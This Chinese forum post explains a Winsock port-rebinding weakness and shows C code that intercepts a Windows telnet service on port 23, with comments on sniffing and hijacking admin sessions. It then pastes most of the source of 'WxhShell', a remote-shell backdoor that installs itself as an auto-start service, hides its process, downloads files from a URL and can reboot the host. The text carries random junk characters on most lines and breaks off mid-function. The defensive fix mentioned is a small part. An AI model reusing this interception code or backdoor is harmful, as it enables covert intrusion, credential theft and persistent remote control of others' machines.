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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $K iMu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3LTO+>, |"  
jsG9{/Ov3  
  saddr.sin_family = AF_INET;  [:k'VXL  
hh?'tb{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,S8Vfb &  
1dq.UW\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Rsulp#['  
p<+]+,|\~:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W`\H3?C`xQ  
F;ZLoG*U  
  这意味着什么?意味着可以进行如下的攻击: y jpjJ  
m0edkt-x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V4"AFArI  
T-@pTJ !K9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .dfTv/n  
3}+/\:q*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X}!_p& WI  
*p-Fn$7\n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }Q%>Fv  
L=p.@VSZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +-Dd*yD6<  
s=$7lYX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nqH^%/7)A@  
dOhV`8l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M{S7ia"s  
0{ ,zE  
  #include /X:lt^?%I  
  #include Vy9n3W"FB1  
  #include 6M6QMg^  
  #include    ,'9tR&S$_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dux`BKl  
  int main() G^R;~J*TDE  
  { -Z Z$ 1E  
  WORD wVersionRequested; 06`__$@h  
  DWORD ret; ?yz%r`;r  
  WSADATA wsaData; w(yU\ N  
  BOOL val; qYh,No5\;t  
  SOCKADDR_IN saddr; j@ "`!uPz  
  SOCKADDR_IN scaddr; RpXQi*c0  
  int err; J.&q[  
  SOCKET s; SUEw5qitB  
  SOCKET sc; *HC8kD a%$  
  int caddsize; Y1~SGg7(@  
  HANDLE mt; {, |"Rpd  
  DWORD tid;   H )}WWXK  
  wVersionRequested = MAKEWORD( 2, 2 ); bDkE*4SRX  
  err = WSAStartup( wVersionRequested, &wsaData ); zm:=d>D..  
  if ( err != 0 ) { U VLcR  
  printf("error!WSAStartup failed!\n"); !vB%Q$!x  
  return -1; 5B2,=?+o  
  } R',w~1RV'  
  saddr.sin_family = AF_INET; zbR.Lb  
   "tark'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4Rm3'Ch  
xsvs3y|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7L]?)2=  
  saddr.sin_port = htons(23); $7r wara  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `SW " RLS3  
  { KCFwO'  
  printf("error!socket failed!\n"); mx[^LaR>v  
  return -1; qh'BrYu*  
  } JA}'d7yEa  
  val = TRUE; [E^X=+Jnz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5 QeGx3'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jysV%q 3  
  { Lwcw%M]  
  printf("error!setsockopt failed!\n"); ;Y '\:  
  return -1; v;Dcq  
  } ;?!rpj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E oR(/*'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >(rB[ZJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^;3rdBprm  
_HK& KY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8?YW i  
  { l!  y _P  
  ret=GetLastError(); D5>~'N3b  
  printf("error!bind failed!\n"); ]*@$%iCPE  
  return -1; !VHIl&Mos  
  } Ib\G{$r  
  listen(s,2); WK}+f4tdW[  
  while(1) jq]"6/xxb  
  { GN9_ZlC  
  caddsize = sizeof(scaddr); I3Lsj}69  
  //接受连接请求 "k|`xn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qtN29[x  
  if(sc!=INVALID_SOCKET) Ltw7b  
  { <`3(i\-X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G7;}309s  
  if(mt==NULL) EM*Or Ue  
  { h yKg=Foq  
  printf("Thread Creat Failed!\n"); Q75^7Ga_  
  break; `Cf en8  
  } Y/66`&,{  
  } e W)I}z +{  
  CloseHandle(mt); W~F/ZrT3A  
  } a~7osRmp0  
  closesocket(s); 1.H!A@  
  WSACleanup(); ~BZV:Es  
  return 0; KaE;4gwM  
  }   bW^QH-t  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3x0wk9lND  
  { KL  mB  
  SOCKET ss = (SOCKET)lpParam; -C}59G8  
  SOCKET sc; BmFME0  
  unsigned char buf[4096]; O`jA-t  
  SOCKADDR_IN saddr; S1`0d9ds#  
  long num; `_A?a_[*  
  DWORD val; PJ@,01  
  DWORD ret; *UoHzaIqz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "T%'Rp`j|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p.] .M"A  
  saddr.sin_family = AF_INET; AV4HX\`{P0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cu^*x/0,  
  saddr.sin_port = htons(23); @!/fvP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 25n (&NV  
  { /VO@>Hoh  
  printf("error!socket failed!\n"); _0q~s@-  
  return -1; 8{fz0H.<?  
  } FqxOHovE  
  val = 100; 1GE%5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W+ '}O<  
  { >Mz|e(6  
  ret = GetLastError(); ]3,.g)U*m  
  return -1; r_,m\'~s !  
  } F6c[v|3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ONq/JW$?LV  
  { o;>3z*9?3  
  ret = GetLastError(); /_OZ1jX  
  return -1; ;T{/;  
  } /)?P>!#;\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K_|~3g  
  { yLO &(Mb  
  printf("error!socket connect failed!\n"); {kl{mJ*  
  closesocket(sc); w1#jVcUQ  
  closesocket(ss); kr`BUW3  
  return -1; ';\gR/L  
  } <GgtP55  
  while(1) u?3NBc$~A  
  { B=bI'S8\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F2`htM@,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 '#i]SU&*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AOx3QgC^NO  
  num = recv(ss,buf,4096,0); FT/5 _1i  
  if(num>0) o-=d|dWG  
  send(sc,buf,num,0); _#D\*0J  
  else if(num==0) d<Q+D1  
  break; iynS4]`U  
  num = recv(sc,buf,4096,0); EKd3$(^   
  if(num>0) Gz|%;  
  send(ss,buf,num,0); VUC <0WV  
  else if(num==0) ^GrkIh0nL  
  break; E'^]zW=9  
  } #O9*$eMw  
  closesocket(ss); + lB+|yJ+  
  closesocket(sc); +#uNQ`1v  
  return 0 ; )*K<;WI WH  
  } *Iwk47J ;a  
|] !o*7"4  
NVc! g  
========================================================== PWk ?8dL-  
]6B mCh  
下边附上一个代码,,WXhSHELL *Qg5Z   
ZE8/ m")  
========================================================== &[ u6oAR  
.eabtGO,  
#include "stdafx.h" R=amKLD?  
=tc`:!$  
#include <stdio.h> _:g GD8  
#include <string.h> Cj !i)-  
#include <windows.h> : \:~y9X0  
#include <winsock2.h> Wz-3?EQ  
#include <winsvc.h> ]opW; |{e  
#include <urlmon.h> !0OD(XT  
Cl9SPz  
#pragma comment (lib, "Ws2_32.lib") RZ|HwYG  
#pragma comment (lib, "urlmon.lib") 14r Vb2^  
U+*oI*  
#define MAX_USER   100 // 最大客户端连接数 Z6R: rq  
#define BUF_SOCK   200 // sock buffer @4_rxu&  
#define KEY_BUFF   255 // 输入 buffer yC'hwoQ`  
&:DCtjK  
#define REBOOT     0   // 重启 y*}vG}e%  
#define SHUTDOWN   1   // 关机 /NW>;J}C  
&,N3uy;Gc  
#define DEF_PORT   5000 // 监听端口 tt7PEEf  
gVa+.x]  
#define REG_LEN     16   // 注册表键长度 {\svV 0)~  
#define SVC_LEN     80   // NT服务名长度 -7k|6"EwM  
5BU%%fBJ.  
// 从dll定义API Ig02M_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \,l.p_<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8|5Gv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {b|3]_-/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yE.495  
^Y{6;FJ  
// wxhshell配置信息 aYaG]&hb  
struct WSCFG { #a(%(k S  
  int ws_port;         // 监听端口 M<A;IOpR+  
  char ws_passstr[REG_LEN]; // 口令 #hgmUa  
  int ws_autoins;       // 安装标记, 1=yes 0=no =!?[]>Dh  
  char ws_regname[REG_LEN]; // 注册表键名 L}}=yh6r  
  char ws_svcname[REG_LEN]; // 服务名 =mKfFeO.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hJw |@V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FQk_#BkK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j<ABO")v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %tzN@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s; B j7]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >'} Y1_S5  
[y|^P\D  
}; )IFl 0<d  
;wJ7oj<  
// default Wxhshell configuration S2rEy2\}:  
struct WSCFG wscfg={DEF_PORT, #~H%[ sa  
    "xuhuanlingzhe", !,Xyl} #  
    1, | V.S.'  
    "Wxhshell", sf |oNOz  
    "Wxhshell", YN,y0t/cQ  
            "WxhShell Service", y+4?U  
    "Wrsky Windows CmdShell Service", }BI~am_  
    "Please Input Your Password: ", Wl& >6./{  
  1, t7um [  
  "http://www.wrsky.com/wxhshell.exe", <XQN;{xSa  
  "Wxhshell.exe" t] r,9df'  
    }; });cX$  
^))PCn_zb  
// 消息定义模块 u}K5/hC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 35Ai;mU'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; je&dioZ>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I~\O  
char *msg_ws_ext="\n\rExit."; zwM"`z  
char *msg_ws_end="\n\rQuit."; T} n N=Q4  
char *msg_ws_boot="\n\rReboot..."; ^>N8*=y  
char *msg_ws_poff="\n\rShutdown..."; @sc8}"J]#  
char *msg_ws_down="\n\rSave to "; R'Kt=.s<  
&mN'Tk  
char *msg_ws_err="\n\rErr!"; pU?{0xZH  
char *msg_ws_ok="\n\rOK!"; y z[%MXI  
+1otn~(E  
char ExeFile[MAX_PATH]; Nb~,`bu,2  
int nUser = 0; + ,@ FxZl  
HANDLE handles[MAX_USER]; {0is wq'J  
int OsIsNt; BFBR/d[&  
m b%C}8D  
SERVICE_STATUS       serviceStatus; W(;x\Nc7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zKIGWH=qqm  
!oZQ2z~  
// 函数声明 %04:z77  
int Install(void); i{o#3  
int Uninstall(void); $Y8>_6%+T  
int DownloadFile(char *sURL, SOCKET wsh); /xl4ohL$a  
int Boot(int flag); E% <w5d.lq  
void HideProc(void); _*O7l  
int GetOsVer(void); 3p:=xL  
int Wxhshell(SOCKET wsl); <+V-k|  
void TalkWithClient(void *cs); ?qju DD  
int CmdShell(SOCKET sock); 2dHM  
int StartFromService(void); u?Fnln e4@  
int StartWxhshell(LPSTR lpCmdLine); GwcI0~5  
fuq( 2&^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R'rTE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >%-Hj6%  
,"~WkLI~\t  
// 数据结构和表定义 TQ; Z.)L  
SERVICE_TABLE_ENTRY DispatchTable[] = "yg.hK`  
{ *8z"^7?^=  
{wscfg.ws_svcname, NTServiceMain}, $aB /+,  
{NULL, NULL} <f%ujrX  
}; TqIAWbb&  
"gFxfWIA  
// 自我安装 iJFr4o/R  
int Install(void) hT?6sWa  
{ lc]V\ 'e  
  char svExeFile[MAX_PATH]; 10mK}HT>4B  
  HKEY key; }7K@e;YUg  
  strcpy(svExeFile,ExeFile);  }VF#\q  
3pB}2]  
// 如果是win9x系统,修改注册表设为自启动 ]JH64~a  
if(!OsIsNt) { YPu9Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?N:B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {S G*  
  RegCloseKey(key); *D2Nm9sl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +}P%HH]E/p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <"<Mbbp  
  RegCloseKey(key); &,J*_F<s2<  
  return 0; M|d={o9Hp  
    } djW cbC=g_  
  } hw;0t,1  
} _}D%iJg#  
else { KE<kj$  
aS el* L  
// 如果是NT以上系统,安装为系统服务 LIF|bE9kd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u^Vh .g]  
if (schSCManager!=0) jAXR`D  
{ cv2]*  
  SC_HANDLE schService = CreateService 5UE409Gn'  
  ( ^EF'TO$  
  schSCManager, 2Zy_5>~  
  wscfg.ws_svcname, WJfES2N  
  wscfg.ws_svcdisp, ]Kv q |}=  
  SERVICE_ALL_ACCESS, X/l;s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]fZ<`w8u}  
  SERVICE_AUTO_START, |XRImeF'd  
  SERVICE_ERROR_NORMAL, v,{h:  
  svExeFile, [u`6^TycP  
  NULL, f-4.WW2FN  
  NULL, 'TL2%T/)t  
  NULL, 9e!vA6Fx  
  NULL, 9RH"d[%yc}  
  NULL BWh }^3?l  
  ); v9=}S\=Cd  
  if (schService!=0) s.VA!@F5  
  { $/+so;KD  
  CloseServiceHandle(schService); } ~| k  
  CloseServiceHandle(schSCManager); ^-hErsK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [>f]@>  
  strcat(svExeFile,wscfg.ws_svcname); 6gnbkpYi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z0$] tS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z0-ytODI I  
  RegCloseKey(key); Vo\H<_=G  
  return 0; >)NQH9'1  
    } ~O{W;Cyh  
  } \6o\+OQk  
  CloseServiceHandle(schSCManager); }k7_'p&yk  
} YGp)Oy}:  
} b HE7yv [  
nU2V]-qY  
return 1; 'f+NW &   
} )s)_XL  
NgVR,G|1  
// 自我卸载 R(G\wqHUT3  
int Uninstall(void) v8m`jxII64  
{ ?sXG17~Bm  
  HKEY key; iCP~O  
M(enRs3`O  
if(!OsIsNt) { CQgcC-)ns]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )o{aeV  
  RegDeleteValue(key,wscfg.ws_regname); m2xBS!fm  
  RegCloseKey(key); &$=!dA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { */(I[p  
  RegDeleteValue(key,wscfg.ws_regname); l1A5Y5x9=  
  RegCloseKey(key); 2/B)O)#ls  
  return 0; 1oty*c  
  } o_f-GO  
} e\F} q)_  
} G>w+#{(  
else { F}36IM9/:  
o5!f#Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~jN'J+_$  
if (schSCManager!=0) eh(<m8I  
{ sZg6@s=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A_R!uRD8-  
  if (schService!=0) ys8Q.oBv_`  
  { E7nFb:zlV  
  if(DeleteService(schService)!=0) { _w!a`w*3  
  CloseServiceHandle(schService); ;h Hi@Z 9  
  CloseServiceHandle(schSCManager); l +'F_a  
  return 0; xq[Yg15d%  
  } fPqr6OYz  
  CloseServiceHandle(schService); wvN`R  
  } <{Q'&T  
  CloseServiceHandle(schSCManager); T2=HG Z  
} =rFN1M/n{E  
} =lp1Z>  
eg<pa'Hw  
return 1; Zb_apjg[4  
} =:=/Gz1  
`s"d]/85VW  
// 从指定url下载文件 MsOs{2 )2  
int DownloadFile(char *sURL, SOCKET wsh) w5,Mb  
{ [sy j#  
  HRESULT hr; hH>``gK  
char seps[]= "/"; iPj~I  
char *token; wRvb8F 0  
char *file; I :l01W;  
char myURL[MAX_PATH]; Ak@Dyi?p  
char myFILE[MAX_PATH]; 86 .`T l;  
r.yK,  
strcpy(myURL,sURL); Z>P*@S,6G  
  token=strtok(myURL,seps); $_Nf-:D*  
  while(token!=NULL) 4_^[=p/R  
  { nh.32q]  
    file=token; /M=3X||  
  token=strtok(NULL,seps); *[}^[J x  
  } /7"I#U^u/  
[k<1`z3  
GetCurrentDirectory(MAX_PATH,myFILE); {tiKH=&J  
strcat(myFILE, "\\"); [}z,J"Un  
strcat(myFILE, file); M 4yI`dr6  
  send(wsh,myFILE,strlen(myFILE),0); vFv3'b$;G  
send(wsh,"...",3,0); I&VTW8jB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )[Z!*am  
  if(hr==S_OK) h6:#!Rg  
return 0; wT,R0~V0  
else b:W-l?  
return 1; pUYM}&dX  
(?0`d  
} bHE2,;o  
<vV_%uo M  
// 系统电源模块 aYn^)6^  
int Boot(int flag) K> g[k_  
{ }G V X>p  
  HANDLE hToken; GVGlVAo|@  
  TOKEN_PRIVILEGES tkp; V3Z]DA  
g}LAks  
  if(OsIsNt) { lLhL`C!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QzvHm1,@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oUZoj2G1  
    tkp.PrivilegeCount = 1; 2JGL;U$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EgjR^A1W2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XvTCK>1  
if(flag==REBOOT) { (p#0)C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D{8PQ2x>  
  return 0; 3SttHu0X  
} c9"r6j2m5  
else { ;&b.T}Nf06  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aB~S?.l  
  return 0; C1kYl0 zR[  
} <ABX0U[*  
  } Ifc]K?  
  else { saf&dd  
if(flag==REBOOT) { Fh$slow4!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "R>FqX6FB  
  return 0; Pe73g%  
} hVUh0XeO  
else { ,f3pqi9|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j$7|XM6  
  return 0; v=@TWEE  
} \y`+B*\i  
} 8.AR.o  
kRCQv-*  
return 1; D\dWt1n  
} b;sVls  
:KJ pk:<  
// win9x进程隐藏模块 \NZIEu)5?  
void HideProc(void) !E8X~DJ  
{ w'MGA  
V" \0Y0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *iBTI+"]  
  if ( hKernel != NULL ) a8k;(/  
  { OJ|r6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :}8Z@H!KkY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .IBp\7W!?E  
    FreeLibrary(hKernel); W!Hm~9fz  
  } ^&@w$  
>@xrs  
return; &Mq~T_S  
} @hQlrq5c  
Q/uwQ o/  
// 获取操作系统版本 g- AHdYJ  
int GetOsVer(void) t7 n(Qkrv  
{ }D411228  
  OSVERSIONINFO winfo; jp8@vdRg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -i0(2*<  
  GetVersionEx(&winfo); Un`^jw#_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J%09^5:-z  
  return 1; 4;n6I)&.(  
  else ,YTIC8qKr  
  return 0; U$]|~41#  
} 9{k97D/  
^k5ll=}  
// 客户端句柄模块 f`9 b*wV  
int Wxhshell(SOCKET wsl) 0sN.H=   
{ N{ Z  H  
  SOCKET wsh; An;MVA  
  struct sockaddr_in client; 5pr"d@.  
  DWORD myID; +/,icA}PI  
@SZM82qU2z  
  while(nUser<MAX_USER) drzL.@h|  
{ :I -V_4b  
  int nSize=sizeof(client); .+7;)K   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7S/G B  
  if(wsh==INVALID_SOCKET) return 1; HEA#bd\  
\^ghdU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dd;Nz  
if(handles[nUser]==0) (?_S6H E  
  closesocket(wsh); #e' }.4cr  
else -F'b8:m  
  nUser++; 8Ac)'2t;U  
  } Bm&kkx.9P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3_~cMlr3T.  
yjfat&$  
  return 0; Eskb9^A  
} 7VcmVq}X  
~U;rw&'H  
// 关闭 socket S*j6OwZ  
void CloseIt(SOCKET wsh) IDnC<MO>  
{ }|PY!O  
closesocket(wsh); /}Jj  
nUser--; ono4U.C9  
ExitThread(0); 3a.kBzus  
} :Y9NLbv  
f$NMM >z  
// 客户端请求句柄 NR;1z  
void TalkWithClient(void *cs) ml\4xp,  
{ G}&Sle]  
X[f=h=|  
  SOCKET wsh=(SOCKET)cs; \j&^aAp r  
  char pwd[SVC_LEN]; UnI 48Y  
  char cmd[KEY_BUFF]; 7AYd!n&S  
char chr[1]; $O9^SB  
int i,j; Fx-8M!  
9U$EJN_G  
  while (nUser < MAX_USER) { ^G6RjJxqp8  
^i:`ZfA#  
if(wscfg.ws_passstr) { (aD_zG=k5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5:'hj$~|\1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B}PIRk@a1  
  //ZeroMemory(pwd,KEY_BUFF); K~@Mg1R  
      i=0; '1M7M(va  
  while(i<SVC_LEN) { 0eK*9S]  
&f&z_WU  
  // 设置超时 J_s>N  
  fd_set FdRead; d&Ef"H  
  struct timeval TimeOut; aN"DkUYZM  
  FD_ZERO(&FdRead); /yM:| `tT  
  FD_SET(wsh,&FdRead); m1Y >Nj[f  
  TimeOut.tv_sec=8; a4irokJv#  
  TimeOut.tv_usec=0; 4 :U?u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BJ% eZ.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ! u:Weoz  
qUly\b 47  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e^.Fa59  
  pwd=chr[0]; (V4 ~`i4V  
  if(chr[0]==0xd || chr[0]==0xa) { &hRvol\J  
  pwd=0; xO-+i\ ZV  
  break; y~)1 1]'>  
  } aH^RoG}  
  i++; liXdNk8  
    } wE~V]bmtW  
;qrB\j"  
  // 如果是非法用户,关闭 socket Z)jw|T'X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {mAU3x  
} HuOIFv  
66fO7OJs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~8lwe*lNV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qi_Jywd:w  
D9z|VIw8  
while(1) { r#XT3qp$d  
?M[ A7?  
  ZeroMemory(cmd,KEY_BUFF); qAw x2fPu  
fFc/ d(  
      // 自动支持客户端 telnet标准   Uw 47LP  
  j=0; St e=&^  
  while(j<KEY_BUFF) { Y.*y9)#S6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >%wLAS",w  
  cmd[j]=chr[0]; tg{H9tU;  
  if(chr[0]==0xa || chr[0]==0xd) { )oyIe)  
  cmd[j]=0; *8LMn   
  break; 7}X[ 4("bB  
  } xD6@Qk  
  j++; Rz.?i+  
    } () j =5KDu  
)kP5u`v  
  // 下载文件 b j'Xg  
  if(strstr(cmd,"http://")) { >uSy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ';<0/U  
  if(DownloadFile(cmd,wsh)) xXM{pd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,v{rCxFtvU  
  else uvrB5=u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t25,0<iW  
  } e d<n9R  
  else { ]w.;4`l*  
lBaR  
    switch(cmd[0]) { [D!jv "  
  ~c&bH]cj  
  // 帮助 W VI{oso#  
  case '?': { -?0qf,W.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gM _hi  
    break; ]wtb-PC  
  } *NG+L)g  
  // 安装 <WcR,d  
  case 'i': { U-|NY  
    if(Install()) uXKERzg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ry'= ke  
    else _ A=$oVe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1&- </G#  
    break; )'~6HO8Z  
    } ={z*akn,  
  // 卸载 RRI"d~~F6  
  case 'r': { {HCz p,Y  
    if(Uninstall()) a]MX)?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % ClHCoyA  
    else ; d J1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -q*i_r:,  
    break; O<,\^[x  
    } k3uit+ge }  
  // 显示 wxhshell 所在路径 LbkF   
  case 'p': { GSRVe/ [  
    char svExeFile[MAX_PATH]; !7kG!)40  
    strcpy(svExeFile,"\n\r"); O)jWZOVp >  
      strcat(svExeFile,ExeFile); ,]d,-)KX8  
        send(wsh,svExeFile,strlen(svExeFile),0); f` ;j:O  
    break; uB]b}"+l  
    } >M`CVUf  
  // 重启 bdc&1I$  
  case 'b': { s#WAR]x0x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bLwAXW2K+  
    if(Boot(REBOOT)) W' s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lMBLIB]i  
    else { K2<9mDn&  
    closesocket(wsh); vMm1Z5S/  
    ExitThread(0); 7eiV{tYF  
    } %;rHrDP(>  
    break; |b)Y#)C;  
    } WUh$^5W  
  // 关机 !s&NT @ S  
  case 'd': { yI"6Da6|y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1#ft#-g}  
    if(Boot(SHUTDOWN)) @9lUSk^9  
